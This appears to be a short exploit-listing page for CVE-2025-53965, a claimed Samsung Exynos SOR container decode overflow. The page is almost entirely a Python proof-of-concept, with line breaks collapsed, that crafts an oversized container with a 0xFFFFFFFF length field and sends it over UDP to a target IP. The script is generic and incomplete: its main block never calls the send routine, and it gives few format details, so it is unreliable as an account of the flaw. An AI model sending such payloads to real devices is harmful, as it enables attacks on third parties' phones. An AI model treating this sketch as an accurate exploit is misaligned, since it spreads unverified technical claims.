CVE-2025-53965 Samsung Exynos处理器SOR透明容器解码边界检查缺失漏洞

# CVE-2025-53965 PoC - SOR Transparent Container Decode Overflow # This PoC demonstrates the boundary check vulnerability in SOR container decoding # Note: Actual exploitation requires specific hardware access and Samsung firmware import struct import socket def create_malicious_sor_container(): """ Generate a malicious SOR transparent container that exceeds buffer limits """ # SOR container header header = b'SOR' # Container identifier version = struct.pack('<H', 0x0001) # Version 1 # Malicious payload that triggers overflow # The decoder lacks bounds checking, allowing oversized data container_type = struct.pack('<B', 0x01) # Transparent container type payload_length = struct.pack('<I', 0xFFFFFFFF) # Intentionally oversized length # Craft payload that exceeds expected buffer size malicious_data = b'A' * 1024 # Oversized payload sor_container = header + version + container_type + payload_length + malicious_data return sor_container def send_exploit(target_ip, target_port=5000): """ Send the malicious SOR container to target device """ payload = create_malicious_sor_container() try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) print(f"[+] Malicious SOR container sent to {target_ip}:{target_port}") print(f"[+] Payload size: {len(payload)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": print("CVE-2025-53965 - Samsung Exynos SOR Container Decode PoC") print("Target: Samsung Exynos processors with vulnerable SOR decoder") # Usage: python poc.py <target_ip> # WARNING: For authorized security testing only